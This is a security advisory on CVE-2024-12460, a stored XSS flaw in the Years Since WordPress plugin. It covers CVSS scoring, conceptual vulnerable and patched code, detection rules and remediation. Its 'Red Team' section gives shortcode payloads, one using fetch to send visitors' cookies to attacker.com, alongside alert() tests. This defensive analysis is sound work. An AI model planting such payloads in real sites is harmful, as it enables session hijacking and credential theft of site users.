CVE-2024-12460

Executive Summary

CVE-2024-12460 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Years Since – Timeless Texts WordPress plugin, affecting all versions up to and including 1.4.1. The flaw resides in the plugin's years-since shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributor roles are common. The lack of a known patch or official advisory from the vendor increases the risk, as site administrators must rely on manual mitigation or plugin removal.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The years-since shortcode is processed by WordPress's do_shortcode() function, and the plugin fails to escape output from user-controlled attributes. This is a classic example of improper input validation in a WordPress plugin, not a server-level issue.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Requires contributor-level access or higher.
• User Interaction (UI): Required – A user must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (low privileges, low complexity) and the potential for privilege escalation via session hijacking elevate the risk in real-world scenarios.

Deep Dive & Mechanics

The vulnerability exists in the years-since shortcode handler. The plugin likely uses add_shortcode('years-since', ...) and processes attributes like year, month, or day without proper sanitization. The shortcode is intended to display the time elapsed since a given date, but the attribute values are directly echoed into the page HTML without escaping.

Example vulnerable shortcode usage:

[years-since year="2020" month="1" day="1"]

An attacker could inject a malicious payload via an attribute:

[years-since year="2020" month="1" day="1" onclick="alert('XSS')"]

Or via a crafted attribute value:

[years-since year="2020" month="1" day="1" style="x:expression(alert(1))"]

The injected script is stored in the WordPress database (post content) and executed when the page is rendered. Since the shortcode is processed server-side, the XSS payload is embedded in the HTML response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

function years_since_shortcode($atts) {
    $year = $atts['year'];
    $month = $atts['month'];
    $day = $atts['day'];
    // ... calculate difference ...
    return "<span class='years-since'>$year-$month-$day</span>";
}
add_shortcode('years-since', 'years_since_shortcode');

Patched Code (Conceptual):

function years_since_shortcode($atts) {
    $year = esc_attr($atts['year']);
    $month = esc_attr($atts['month']);
    $day = esc_attr($atts['day']);
    // ... calculate difference ...
    return "<span class='years-since'>" . esc_html($year . '-' . $month . '-' . $day) . "</span>";
}
add_shortcode('years-since', 'years_since_shortcode');

The patched version uses esc_attr() for attribute values and esc_html() for output, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with the Years Since plugin (<=1.4.1) installed and activated.
• A user account with contributor-level access or higher.

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the malicious shortcode:

   [years-since year="2020" month="1" day="1" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
   

4. Publish the post.
5. When an administrator or other user views the post, the script executes, sending their cookies to the attacker's server.

Alternative payload (using event handler):

[years-since year="2020" month="1" day="1" onmouseover="alert('XSS')"]

Blue Team (Detection & Response)

Detection:

• Monitor for posts/pages containing the years-since shortcode with unusual attributes (e.g., onclick, onmouseover, style).
• Review WordPress logs for suspicious shortcode usage.
• Use the Sigma rule below to detect XSS attempts in web server logs.

Response:

• Immediately remove or disable the plugin.
• Scan all posts/pages for malicious shortcode instances.
• Reset user sessions and force password changes.
• Review user roles and remove unnecessary contributor accounts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/years-since/ (presence of the plugin)
• Shortcode pattern: [years-since followed by on*= or javascript: attributes
• Network: Outbound HTTP requests to unknown domains from the WordPress server
• Log entries: POST /wp-admin/post.php with shortcode containing event handlers
• Database: Posts/pages with [years-since in post_content containing suspicious attributes

Detection Engineering

YARA Rule

rule CVE_2024_12460_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-12460 in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12460"
    strings:
        $shortcode = /\[years-since[^\]]*?(on\w+\s*=|javascript:)/ nocase
        $event_handler = /on(click|mouseover|load|error|focus|blur)\s*=\s*["']?[^"'\]]+["']?/ nocase
    condition:
        $shortcode or $event_handler
}

Sigma Rule

title: CVE-2024-12460 Stored XSS via Years Since Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing malicious years-since shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "[years-since"
            - "onclick="
            - "onmouseover="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12460 Stored XSS via Years Since Shortcode"; flow:to_server,established; content:"[years-since"; http_uri; content:"onclick="; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the "Years Since – Timeless Texts" plugin from the WordPress admin panel.
2. Scan for malicious content: Use the YARA rule above to scan the database for injected shortcodes.
3. Remove malicious posts: Delete or edit any posts/pages containing suspicious shortcode attributes.
4. Reset user sessions: Force all users to log out and re-authenticate.
5. Review user roles: Remove contributor-level access from untrusted users.

Long-term Mitigation:

• Apply a virtual patch: Use a Web Application Firewall (WAF) to block requests containing [years-since with event handlers.
• Monitor for updates: Check the WordPress plugin repository for a patched version.
• Educate users: Train content creators to avoid using untrusted shortcode attributes.
• Implement CSP: Add a Content Security Policy header to mitigate XSS impact.

Note: Since no official patch is available, the only reliable mitigation is to remove the plugin entirely.

Valters IT
Securing Digital Frontiers